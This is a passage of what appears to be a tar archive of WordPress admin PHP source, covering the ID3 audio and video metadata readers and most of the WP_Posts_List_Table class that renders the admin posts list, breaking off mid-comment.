		 *
		 * @since 3.7.0
		 *
		 * @param array $fields An array of the attachment metadata keys and labels.
		 */
		$audio_fields = apply_filters( 'audio_submitbox_misc_sections', array(
			'dataformat' => __( 'Audio Format:' ),
			'codec'      => __( 'Audio Codec:' )
		) );

foreach ( $audio_fields as $key => $label ) {
			if ( empty( $meta['audio'][ $key ] ) ) {
				continue;
			}
	?>
		<div class="misc-pub-section misc-pub-audio misc-pub-<?php echo sanitize_html_class( $key ); ?>">
			<?php echo $label; ?> <strong><?php echo esc_html( $meta['audio'][$key] ); ?></strong>
		</div>
	<?php
		}

}

if ( $media_dims ) : ?>
	<div class="misc-pub-section misc-pub-dimensions">
		<?php _e( 'Dimensions:' ); ?> <strong><?php echo $media_dims; ?></strong>
	</div>
<?php
	endif;
}

add_filter( 'async_upload_image', 'get_media_item', 10, 2 );
add_filter( 'async_upload_audio', 'get_media_item', 10, 2 );
add_filter( 'async_upload_video', 'get_media_item', 10, 2 );
add_filter( 'async_upload_file',  'get_media_item', 10, 2 );

add_action( 'media_upload_image', 'wp_media_upload_handler' );
add_action( 'media_upload_audio', 'wp_media_upload_handler' );
add_action( 'media_upload_video', 'wp_media_upload_handler' );
add_action( 'media_upload_file',  'wp_media_upload_handler' );

add_filter( 'media_upload_gallery', 'media_upload_gallery' );
add_filter( 'media_upload_library', 'media_upload_library' );

add_action( 'attachment_submitbox_misc_actions', 'attachment_submitbox_metadata' );

/**
 * Parse ID3v2, ID3v1, and getID3 comments to extract usable data
 *
 * @since 3.6.0
 *
 * @param array $metadata An existing array with data
 * @param array $data Data supplied by ID3 tags
 */
function wp_add_id3_tag_data( &$metadata, $data ) {
	foreach ( array( 'id3v2', 'id3v1' ) as $version ) {
		if ( ! empty( $data[$version]['comments'] ) ) {
			foreach ( $data[$version]['comments'] as $key => $list ) {
				if ( ! empty( $list ) ) {
					$metadata[$key] = wp_kses_post( reset( $list ) );
					// fix bug in byte stream analysis
					if ( 'terms_of_use' === $key && 0 === strpos( $metadata[$key], 'yright notice.' ) )
						$metadata[$key] = 'Cop' . $metadata[$key];
				}
			}
			break;
		}
	}

if ( ! empty( $data['id3v2']['APIC'] ) ) {
		$image = reset( $data['id3v2']['APIC']);
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data' => $image['data'],
				'mime' => $image['image_mime'],
				'width' => $image['image_width'],
				'height' => $image['image_height']
			);
		}
	} elseif ( ! empty( $data['comments']['picture'] ) ) {
		$image = reset( $data['comments']['picture'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data' => $image['data'],
				'mime' => $image['image_mime']
			);
		}
	}
}

/**
 * Retrieve metadata from a video file's ID3 tags
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|boolean Returns array of metadata, if found.
 */
function wp_read_video_metadata( $file ) {
	if ( ! file_exists( $file ) )
		return false;

$metadata = array();

if ( ! class_exists( 'getID3' ) )
		require( ABSPATH . WPINC . '/ID3/getid3.php' );
	$id3 = new getID3();
	$data = $id3->analyze( $file );

if ( isset( $data['video']['lossless'] ) )
		$metadata['lossless'] = $data['video']['lossless'];
	if ( ! empty( $data['video']['bitrate'] ) )
		$metadata['bitrate'] = (int) $data['video']['bitrate'];
	if ( ! empty( $data['video']['bitrate_mode'] ) )
		$metadata['bitrate_mode'] = $data['video']['bitrate_mode'];
	if ( ! empty( $data['filesize'] ) )
		$metadata['filesize'] = (int) $data['filesize'];
	if ( ! empty( $data['mime_type'] ) )
		$metadata['mime_type'] = $data['mime_type'];
	if ( ! empty( $data['playtime_seconds'] ) )
		$metadata['length'] = (int) ceil( $data['playtime_seconds'] );
	if ( ! empty( $data['playtime_string'] ) )
		$metadata['length_formatted'] = $data['playtime_string'];
	if ( ! empty( $data['video']['resolution_x'] ) )
		$metadata['width'] = (int) $data['video']['resolution_x'];
	if ( ! empty( $data['video']['resolution_y'] ) )
		$metadata['height'] = (int) $data['video']['resolution_y'];
	if ( ! empty( $data['fileformat'] ) )
		$metadata['fileformat'] = $data['fileformat'];
	if ( ! empty( $data['video']['dataformat'] ) )
		$metadata['dataformat'] = $data['video']['dataformat'];
	if ( ! empty( $data['video']['encoder'] ) )
		$metadata['encoder'] = $data['video']['encoder'];
	if ( ! empty( $data['video']['codec'] ) )
		$metadata['codec'] = $data['video']['codec'];

if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata['audio'] = $data['audio'];
	}

wp_add_id3_tag_data( $metadata, $data );

return $metadata;
}

/**
 * Retrieve metadata from a audio file's ID3 tags
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|boolean Returns array of metadata, if found.
 */
function wp_read_audio_metadata( $file ) {
	if ( ! file_exists( $file ) )
		return false;
	$metadata = array();

if ( ! class_exists( 'getID3' ) )
		require( ABSPATH . WPINC . '/ID3/getid3.php' );
	$id3 = new getID3();
	$data = $id3->analyze( $file );

if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata = $data['audio'];
	}

if ( ! empty( $data['fileformat'] ) )
		$metadata['fileformat'] = $data['fileformat'];
	if ( ! empty( $data['filesize'] ) )
		$metadata['filesize'] = (int) $data['filesize'];
	if ( ! empty( $data['mime_type'] ) )
		$metadata['mime_type'] = $data['mime_type'];
	if ( ! empty( $data['playtime_seconds'] ) )
		$metadata['length'] = (int) ceil( $data['playtime_seconds'] );
	if ( ! empty( $data['playtime_string'] ) )
		$metadata['length_formatted'] = $data['playtime_string'];

wp_add_id3_tag_data( $metadata, $data );

return $metadata;
}
class-wp-posts-list-table.php000077700000122002151514577750012237 0ustar00<?php
/**
 * Posts List Table class.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 * @access private
 */
class WP_Posts_List_Table extends WP_List_Table {

/**
	 * Whether the items should be displayed hierarchically or linearly
	 *
	 * @since 3.1.0
	 * @var bool
	 * @access protected
	 */
	var $hierarchical_display;

/**
	 * Holds the number of pending comments for each post
	 *
	 * @since 3.1.0
	 * @var int
	 * @access protected
	 */
	var $comment_pending_count;

/**
	 * Holds the number of posts for this user
	 *
	 * @since 3.1.0
	 * @var int
	 * @access private
	 */
	var $user_posts_count;

/**
	 * Holds the number of posts which are sticky.
	 *
	 * @since 3.1.0
	 * @var int
	 * @access private
	 */
	var $sticky_posts_count = 0;

function __construct( $args = array() ) {
		global $post_type_object, $wpdb;

parent::__construct( array(
			'plural' => 'posts',
			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
		) );

$post_type = $this->screen->post_type;
		$post_type_object = get_post_type_object( $post_type );

if ( !current_user_can( $post_type_object->cap->edit_others_posts ) ) {
			$exclude_states = get_post_stati( array( 'show_in_admin_all_list' => false ) );
			$this->user_posts_count = $wpdb->get_var( $wpdb->prepare( "
				SELECT COUNT( 1 ) FROM $wpdb->posts
				WHERE post_type = %s AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' )
				AND post_author = %d
			", $post_type, get_current_user_id() ) );

if ( $this->user_posts_count && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] ) && empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] ) )
				$_GET['author'] = get_current_user_id();
		}

if ( 'post' == $post_type && $sticky_posts = get_option( 'sticky_posts' ) ) {
			$sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) );
			$this->sticky_posts_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ('trash', 'auto-draft') AND ID IN ($sticky_posts)", $post_type ) );
		}
	}

function ajax_user_can() {
		return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
	}

function prepare_items() {
		global $avail_post_stati, $wp_query, $per_page, $mode;

$avail_post_stati = wp_edit_posts_query();

$this->hierarchical_display = ( is_post_type_hierarchical( $this->screen->post_type ) && 'menu_order title' == $wp_query->query['orderby'] );

$total_items = $this->hierarchical_display ? $wp_query->post_count : $wp_query->found_posts;

$post_type = $this->screen->post_type;
		$per_page = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' );

/** This filter is documented in wp-admin/includes/post.php */
 		$per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type );

if ( $this->hierarchical_display )
			$total_pages = ceil( $total_items / $per_page );
		else
			$total_pages = $wp_query->max_num_pages;

$mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode'];

$this->is_trash = isset( $_REQUEST['post_status'] ) && $_REQUEST['post_status'] == 'trash';

$this->set_pagination_args( array(
			'total_items' => $total_items,
			'total_pages' => $total_pages,
			'per_page' => $per_page
		) );
	}

function has_items() {
		return have_posts();
	}

function no_items() {
		if ( isset( $_REQUEST['post_status'] ) && 'trash' == $_REQUEST['post_status'] )
			echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash;
		else
			echo get_post_type_object( $this->screen->post_type )->labels->not_found;
	}

function get_views() {
		global $locked_post_status, $avail_post_stati;

$post_type = $this->screen->post_type;

if ( !empty($locked_post_status) )
			return array();

$status_links = array();
		$num_posts = wp_count_posts( $post_type, 'readable' );
		$class = '';
		$allposts = '';

$current_user_id = get_current_user_id();

if ( $this->user_posts_count ) {
			if ( isset( $_GET['author'] ) && ( $_GET['author'] == $current_user_id ) )
				$class = ' class="current"';
			$status_links['mine'] = "<a href='edit.php?post_type=$post_type&author=$current_user_id'$class>" . sprintf( _nx( 'Mine <span class="count">(%s)</span>', 'Mine <span class="count">(%s)</span>', $this->user_posts_count, 'posts' ), number_format_i18n( $this->user_posts_count ) ) . '</a>';
			$allposts = '&all_posts=1';
		}

$total_posts = array_sum( (array) $num_posts );

// Subtract post types that are not included in the admin all list.
		foreach ( get_post_stati( array('show_in_admin_all_list' => false) ) as $state )
			$total_posts -= $num_posts->$state;

$class = empty( $class ) && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['show_sticky'] ) ? ' class="current"' : '';
		$status_links['all'] = "<a href='edit.php?post_type=$post_type{$allposts}'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_posts, 'posts' ), number_format_i18n( $total_posts ) ) . '</a>';

foreach ( get_post_stati(array('show_in_admin_status_list' => true), 'objects') as $status ) {
			$class = '';

$status_name = $status->name;

if ( !in_array( $status_name, $avail_post_stati ) )
				continue;

if ( empty( $num_posts->$status_name ) )
				continue;

if ( isset($_REQUEST['post_status']) && $status_name == $_REQUEST['post_status'] )
				$class = ' class="current"';

$status_links[$status_name] = "<a href='edit.php?post_status=$status_name&amp;post_type=$post_type'$class>" . sprintf( translate_nooped_plural( $status->label_count, $num_posts->$status_name ), number_format_i18n( $num_posts->$status_name ) ) . '</a>';
		}

if ( ! empty( $this->sticky_posts_count ) ) {
			$class = ! empty( $_REQUEST['show_sticky'] ) ? ' class="current"' : '';

$sticky_link = array( 'sticky' => "<a href='edit.php?post_type=$post_type&amp;show_sticky=1'$class>" . sprintf( _nx( 'Sticky <span class="count">(%s)</span>', 'Sticky <span class="count">(%s)</span>', $this->sticky_posts_count, 'posts' ), number_format_i18n( $this->sticky_posts_count ) ) . '</a>' );

// Sticky comes after Publish, or if not listed, after All.
			$split = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ) );
			$status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) );
		}

return $status_links;
	}

function get_bulk_actions() {
		$actions = array();

if ( $this->is_trash )
			$actions['untrash'] = __( 'Restore' );
		else
			$actions['edit'] = __( 'Edit' );

if ( $this->is_trash || !EMPTY_TRASH_DAYS )
			$actions['delete'] = __( 'Delete Permanently' );
		else
			$actions['trash'] = __( 'Move to Trash' );

return $actions;
	}

function extra_tablenav( $which ) {
		global $cat;
?>
		<div class="alignleft actions">
<?php
		if ( 'top' == $which && !is_singular() ) {

$this->months_dropdown( $this->screen->post_type );

if ( is_object_in_taxonomy( $this->screen->post_type, 'category' ) ) {
				$dropdown_options = array(
					'show_option_all' => __( 'View all categories' ),
					'hide_empty' => 0,
					'hierarchical' => 1,
					'show_count' => 0,
					'orderby' => 'name',
					'selected' => $cat
				);
				wp_dropdown_categories( $dropdown_options );
			}

/**
			 * Fires before the Filter button on the Posts and Pages list tables.
			 *
			 * The Filter button allows sorting by date and/or category on the
			 * Posts list table, and sorting by date on the Pages list table.
			 *
			 * @since 2.1.0
			 */
			do_action( 'restrict_manage_posts' );

submit_button( __( 'Filter' ), 'button', false, false, array( 'id' => 'post-query-submit' ) );
		}

if ( $this->is_trash && current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts ) ) {
			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
		}
?>
		</div>
<?php
	}

function current_action() {
		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) )
			return 'delete_all';

return parent::current_action();
	}

function pagination( $which ) {
		global $mode;

parent::pagination( $which );

if ( 'top' == $which && ! is_post_type_hierarchical( $this->screen->post_type ) )
			$this->view_switcher( $mode );
	}

function get_table_classes() {
		return array( 'widefat', 'fixed', is_post_type_hierarchical( $this->screen->post_type ) ? 'pages' : 'posts' );
	}

function get_columns() {
		$post_type = $this->screen->post_type;

$posts_columns = array();

$posts_columns['cb'] = '<input type="checkbox" />';

/* translators: manage posts column name */
		$posts_columns['title'] = _x( 'Title', 'column name' );

if ( post_type_supports( $post_type, 'author' ) )
			$posts_columns['author'] = __( 'Author' );

$taxonomies = array();

$taxonomies = get_object_taxonomies( $post_type, 'objects' );
		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );

/**
		 * Filter the taxonomy columns in the Posts list table.
		 *
		 * The dynamic portion of the hook name, $post_type, refers to the post
		 * type slug.
		 *
		 * @since 3.5.0
		 *
		 * @param array  $taxonomies Array of taxonomies to show columns for.
		 * @param string $post_type  The post type.
		 */
		$taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type );
		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );

foreach ( $taxonomies as $taxonomy ) {
			if ( 'category' == $taxonomy )
				$column_key = 'categories';
			elseif ( 'post_tag' == $taxonomy )
				$column_key = 'tags';
			else
				$column_key = 'taxonomy-' . $taxonomy;

$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
		}

$post_status = !empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all';
		if ( post_type_supports( $post_type, 'comments' ) && !in_array( $post_status, array( 'pending', 'draft', 'future' ) ) )
			$posts_columns['comments'] = '<span class="vers"><span title="' . esc_attr__( 'Comments' ) . '" class="comment-grey-bubble"></span></span>';

$posts_columns['date'] = __( 'Date' );

if ( 'page' == $post_type ) {

/**
			 * Filter the columns displayed in the Pages list table.
			 *
			 * @since 2.5.0
			 *
			 * @param array $post_columns An array of column names.
			 */
			$posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );
		} else {

/**
			 * Filter the columns displayed in the Posts list table.
			 *
			 * @since 1.5.0
			 *
			 * @param array  $posts_columns An array of column names.
			 * @param string $post_type     The post type slug.
			 */
			$posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );
		}

/**
		 * Filter the columns displayed in the Posts list table for a specific post type.
		 *
		 * The dynamic portion of the hook name, $post_type, refers to the post type slug.
		 *
		 * @since 3.0.0
		 *
		 * @param array $post_columns An array of column names.
		 */
		$posts_columns = apply_filters( "manage_{$post_type}_posts_columns", $posts_columns );

return $posts_columns;
	}

function get_sortable_columns() {
		return array(
			'title'    => 'title',
			'parent'   => 'parent',
			'comments' => 'comment_count',
			'date'     => array( 'date', true )
		);
	}

function display_rows( $posts = array(), $level = 0 ) {
		global $wp_query, $per_page;

if ( empty( $posts ) )
			$posts = $wp_query->posts;

add_filter( 'the_title', 'esc_html' );

if ( $this->hierarchical_display ) {
			$this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page );
		} else {
			$this->_display_rows( $posts, $level );
		}
	}

function _display_rows( $posts, $level = 0 ) {
		global $mode;

// Create array of post IDs.
		$post_ids = array();

foreach ( $posts as $a_post )
			$post_ids[] = $a_post->ID;

$this->comment_pending_count = get_pending_comments_num( $post_ids );

foreach ( $posts as $post )
			$this->single_row( $post, $level );
	}

function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) {
		global $wpdb;

$level = 0;

if ( ! $pages ) {
			$pages = get_pages( array( 'sort_column' => 'menu_order' ) );

if ( ! $pages )
				return false;
		}

/*
		 * Arrange pages into two parts: top level pages and children_pages
		 * children_pages is two dimensional array, eg.
		 * children_pages[10][] contains all sub-pages whose parent is 10.
		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
		 * If searching, ignore hierarchy and treat everything as top level
		 */
		if ( empty( $_REQUEST['s'] ) ) {

$top_level_pages = array();
			$children_pages = array();

foreach ( $pages as $page ) {

// catch and repair bad pages
				if ( $page->post_parent == $page->ID ) {
					$page->post_parent = 0;
					$wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) );
					clean_post_cache( $page );
				}

if ( 0 == $page->post_parent )
					$top_level_pages[] = $page;
				else
					$children_pages[ $page->post_parent ][] = $page;
			}

$pages = &$top_level_pages;
		}

$count = 0;
		$start = ( $pagenum - 1 ) * $per_page;
		$end = $start + $per_page;

foreach ( $pages as $page ) {
			if ( $count >= $end )
				break;

if ( $count >= $start ) {
				echo "\t";
				$this->single_row( $page, $level );
			}

$count++;

if ( isset( $children_pages ) )
				$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page );
		}

// if it is the last pagenum and there are orphaned pages, display them with paging as well
		if ( isset( $children_pages ) && $count < $end ){
			foreach ( $children_pages as $orphans ){
				foreach ( $orphans as $op ) {
					if ( $count >= $end )
						break;

if ( $count >= $start ) {
						echo "\t";
						$this->single_row( $op, 0 );
					}

$count++;
				}
			}
		}
	}

/**
	 * Given a top level page ID, display the nested hierarchy of sub-pages
	 * together with paging support
	 *
	 * @since 3.1.0 (Standalone function exists since 2.6.0)
	 *
	 * @param array $children_pages
	 * @param int $count
	 * @param int $parent
	 * @param int $level
	 * @param int $pagenum
	 * @param int $per_page
	 */
	function _page_rows( &$children_pages, &$count, $parent, $level, $pagenum, $per_page ) {

if ( ! isset( $children_pages[$parent] ) )
			return;

$start = ( $pagenum - 1 ) * $per_page;
		$end = $start + $per_page;

foreach ( $children_pages[$parent] as $page ) {

if ( $count >= $end )
				break;

// If the page starts in a subtree, print the parents.
			if ( $count == $start && $page->post_parent > 0 ) {
				$my_parents = array();
				$my_parent = $page->post_parent;
				while ( $my_parent ) {
					$my_parent = get_post( $my_parent );
					$my_parents[] = $my_parent;
					if ( !$my_parent->post_parent )
						break;
					$my_parent = $my_parent->post_parent;
				}
				$num_parents = count( $my_parents );
				while ( $my_parent = array_pop( $my_parents ) ) {
					echo "\t";
					$this->single_row( $my_parent, $level - $num_parents );
					$num_parents--;
				}
			}

if ( $count >= $start ) {
				echo "\t";
				$this->single_row( $page, $level );
			}

$count++;

$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page );
		}

unset( $children_pages[$parent] ); //required in order to keep track of orphans
	}

function single_row( $post, $level = 0 ) {
		global $mode;
		static $alternate;

$global_post = get_post();
		$GLOBALS['post'] = $post;
		setup_postdata( $post );

$edit_link = get_edit_post_link( $post->ID );
		$title = _draft_or_post_title();
		$post_type_object = get_post_type_object( $post->post_type );
		$can_edit_post = current_user_can( 'edit_post', $post->ID );

$alternate = 'alternate' == $alternate ? '' : 'alternate';
		$classes = $alternate . ' iedit author-' . ( get_current_user_id() == $post->post_author ? 'self' : 'other' );

$lock_holder = wp_check_post_lock( $post->ID );
		if ( $lock_holder ) {
			$classes .= ' wp-locked';
			$lock_holder = get_userdata( $lock_holder );
		}

if ( $post->post_parent ) {
		    $count = count( get_post_ancestors( $post->ID ) );
		    $classes .= ' level-'. $count;
		} else {
		    $classes .= ' level-0';
		}
	?>
		<tr id="post-<?php echo $post->ID; ?>" class="<?php echo implode( ' ', get_post_class( $classes, $post->ID ) ); ?>">
	<?php

list( $columns, $hidden ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
			$class = "class=\"$column_name column-$column_name\"";

$style = '';
			if ( in_array( $column_name, $hidden ) )
				$style = ' style="display:none;"';

$attributes = "$class$style";

switch ( $column_name ) {

case 'cb':
			?>
			<th scope="row" class="check-column">
				<?php
				if ( $can_edit_post ) {

?>
				<label class="screen-reader-text" for="cb-select-<?php the_ID(); ?>"><?php printf( __( 'Select %s' ), $title ); ?></label>
				<input id="cb-select-<?php the_ID(); ?>" type="checkbox" name="post[]" value="<?php the_ID(); ?>" />
				<div class="locked-indicator"></div>
				<?php
				}
				?>
			</th>
			<?php
			break;

case 'title':
				$attributes = 'class="post-title page-title column-title"' . $style;
				if ( $this->hierarchical_display ) {
					if ( 0 == $level && (int) $post->post_parent > 0 ) {
						//sent level 0 by accident, by default, or because we don't know the actual level
						$find_main_page = (int) $post->post_parent;
						while ( $find_main_page > 0 ) {
							$parent = get_post( $find_main_page );

if ( is_null( $parent ) )
								break;

$level++;
							$find_main_page = (int) $parent->post_parent;

if ( !isset( $parent_name ) ) {
								/** This filter is documented in wp-includes/post-template.php */
								$parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID );
							}
						}
					}
				}

$pad = str_repeat( '&#8212; ', $level );
				echo "<td $attributes><strong>";

if ( $format = get_post_format( $post->ID ) ) {
					$label = get_post_format_string( $format );

echo '<a href="' . esc_url( add_query_arg( array( 'post_format' => $format, 'post_type' => $post->post_type ), 'edit.php' ) ) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> ";
				}

if ( $can_edit_post && $post->post_status != 'trash' ) {
					echo '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ) . '">' . $pad . $title . '</a>';
				} else {
					echo $pad . $title;
				}
				_post_states( $post );

if ( isset( $parent_name ) )
					echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name );

echo "</strong>\n";

if ( $can_edit_post && $post->post_status != 'trash' ) {
					if ( $lock_holder ) {
						$locked_avatar = get_avatar( $lock_holder->ID, 18 );
						$locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) );
					} else {
						$locked_avatar = $locked_text = '';
					}

echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
				}

if ( ! $this->hierarchical_display && 'excerpt' == $mode && current_user_can( 'read_post', $post->ID ) ) {
						echo esc_html( get_the_excerpt() );
				}

$actions = array();
				if ( $can_edit_post && 'trash' != $post->post_status ) {
					$actions['edit'] = '<a href="' . get_edit_post_link( $post->ID, true ) . '" title="' . esc_attr( __( 'Edit this item' ) ) . '">' . __( 'Edit' ) . '</a>';
					$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr( __( 'Edit this item inline' ) ) . '">' . __( 'Quick&nbsp;Edit' ) . '</a>';
				}
				if ( current_user_can( 'delete_post', $post->ID ) ) {
					if ( 'trash' == $post->post_status )
						$actions['untrash'] = "<a title='" . esc_attr( __( 'Restore this item from the Trash' ) ) . "' href='" . wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ) . "'>" . __( 'Restore' ) . "</a>";
					elseif ( EMPTY_TRASH_DAYS )
						$actions['trash'] = "<a class='submitdelete' title='" . esc_attr( __( 'Move this item to the Trash' ) ) . "' href='" . get_delete_post_link( $post->ID ) . "'>" . __( 'Trash' ) . "</a>";
					if ( 'trash' == $post->post_status || !EMPTY_TRASH_DAYS )
						$actions['delete'] = "<a class='submitdelete' title='" . esc_attr( __( 'Delete this item permanently' ) ) . "' href='" . get_delete_post_link( $post->ID, '', true ) . "'>" . __( 'Delete Permanently' ) . "</a>";
				}
				if ( $post_type_object->public ) {
					if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ) ) ) {
						if ( $can_edit_post ) {

/** This filter is documented in wp-admin/includes/meta-boxes.php */
							$actions['view'] = '<a href="' . esc_url( apply_filters( 'preview_post_link', set_url_scheme( add_query_arg( 'preview', 'true', get_permalink( $post->ID ) ) ) ) ) . '" title="' . esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ) . '" rel="permalink">' . __( 'Preview' ) . '</a>';
						}
					} elseif ( 'trash' != $post->post_status ) {
						$actions['view'] = '<a href="' . get_permalink( $post->ID ) . '" title="' . esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $title ) ) . '" rel="permalink">' . __( 'View' ) . '</a>';
					}
				}

if ( is_post_type_hierarchical( $post->post_type ) ) {

/**
					 * Filter the array of row action links on the Pages list table.
					 *
					 * The filter is evaluated only for hierarchical post types.
					 *
					 * @since 2.8.0
					 *
					 * @param array   $actions An array of row action links. Defaults are
					 *                         'Edit', 'Quick Edit', 'Restore, 'Trash',
					 *                         'Delete Permanently', 'Preview', and 'View'.
					 * @param WP_Post $post    The post object.
					 */
					$actions = apply_filters( 'page_row_actions', $actions, $post );
				} else {

/**
					 * Filter the array of row action links on the Posts list table.
					 *
					 * The filter is evaluated only for non-hierarchical post types.
					 *
					 * @since 2.8.0
					 *
					 * @param array   $actions An array of row action links. Defaults are
					 *                         'Edit', 'Quick Edit', 'Restore, 'Trash',
					 *                         'Delete Permanently', 'Preview', and 'View'.
					 * @param WP_Post $post    The post object.
					 */
					$actions = apply_filters( 'post_row_actions', $actions, $post );
				}

echo $this->row_actions( $actions );

get_inline_data( $post );
				echo '</td>';
			break;

case 'date':
				if ( '0000-00-00 00:00:00' == $post->post_date ) {
					$t_time = $h_time = __( 'Unpublished' );
					$time_diff = 0;
				} else {
					$t_time = get_the_time( __( 'Y/m/d g:i:s A' ) );
					$m_time = $post->post_date;
					$time = get_post_time( 'G', true, $post );

$time_diff = time() - $time;

if ( $time_diff > 0 && $time_diff < DAY_IN_SECONDS )
						$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
					else
						$h_time = mysql2date( __( 'Y/m/d' ), $m_time );
				}

echo '<td ' . $attributes . '>';
				if ( 'excerpt' == $mode ) {

/**
					 * Filter the published time of the post.
					 *
					 * If $mode equals 'excerpt', the published time and date are both displayed.
					 * If $mode equals 'list' (default), the publish date is displayed, with the
					 * time and date together available as an abbreviation definition.
					 *
					 * @since 2.5.1
					 *
					 * @param array   $t_time      The published time.
					 * @param WP_Post $post        Post object.
					 * @param string  $column_name The column name.
					 * @param string  $mode        The list display mode ('excerpt' or 'list').
					 */
					echo apply_filters( 'post_date_column_time', $t_time, $post, $column_name, $mode );
				} else {

/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
					echo '<abbr title="' . $t_time . '">' . apply_filters( 'post_date_column_time', $h_time, $post, $column_name, $mode ) . '</abbr>';
				}
				echo '<br />';
				if ( 'publish' == $post->post_status ) {
					_e( 'Published' );
				} elseif ( 'future' == $post->post_status ) {
					if ( $time_diff > 0 )
						echo '<strong class="attention">' . __( 'Missed schedule' ) . '</strong>';
					else
						_e( 'Scheduled' );
				} else {
					_e( 'Last Modified' );
				}
				echo '</td>';
			break;

case 'comments':
			?>
			<td <?php echo $attributes ?>><div class="post-com-count-wrapper">
			<?php
				$pending_comments = isset( $this->comment_pending_count[$post->ID] ) ? $this->comment_pending_count[$post->ID] : 0;

$this->comments_bubble( $post->ID, $pending_comments );
			?>
			</div></td>
			<?php
			break;

case 'author':
			?>
			<td <?php echo $attributes ?>><?php
				printf( '<a href="%s">%s</a>',
					esc_url( add_query_arg( array( 'post_type' => $post->post_type, 'author' => get_the_author_meta( 'ID' ) ), 'edit.php' )),
					get_the_author()
				);
			?></td>
			<?php
			break;

default:
				if ( 'categories' == $column_name )
					$taxonomy = 'category';
				elseif ( 'tags' == $column_name )
					$taxonomy = 'post_tag';
				elseif ( 0 === strpos( $column_name, 'taxonomy-' ) )
					$taxonomy = substr( $column_name, 9 );
				else
					$taxonomy = false;

if ( $taxonomy ) {
					$taxonomy_object = get_taxonomy( $taxonomy );
					echo '<td ' . $attributes . '>';
					if ( $terms = get_the_terms( $post->ID, $taxonomy ) ) {
						$out = array();
						foreach ( $terms as $t ) {
							$posts_in_term_qv = array();
							if ( 'post' != $post->post_type )
								$posts_in_term_qv['post_type'] = $post->post_type;
							if ( $taxonomy_object->query_var ) {
								$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
							} else {
								$posts_in_term_qv['taxonomy'] = $taxonomy;
								$posts_in_term_qv['term'] = $t->slug;
							}

$out[] = sprintf( '<a href="%s">%s</a>',
								esc_url( add_query_arg( $posts_in_term_qv, 'edit.php' ) ),
								esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
							);
						}
						/* translators: used between list items, there is a space after the comma */
						echo join( __( ', ' ), $out );
					} else {
						echo '&#8212;';
					}
					echo '</td>';
					break;
				}
			?>
			<td <?php echo $attributes ?>><?php
				if ( is_post_type_hierarchical( $post->post_type ) ) {

/**
					 * Fires in each custom column on the Posts list table.
					 *
					 * This hook only fires if the current post type is hierarchical,
					 * such as pages.
					 *
					 * @since 2.5.0
					 *
					 * @param string $column_name The name of the column to display.
					 * @param int    $post_id     The current post ID.
					 */
					do_action( 'manage_pages_custom_column', $column_name, $post->ID );
				} else {

/**
					 * Fires in each custom column in the Posts list table.
					 *
					 * This hook only fires if the current post type is non-hierarchical,
					 * such as posts.
					 *
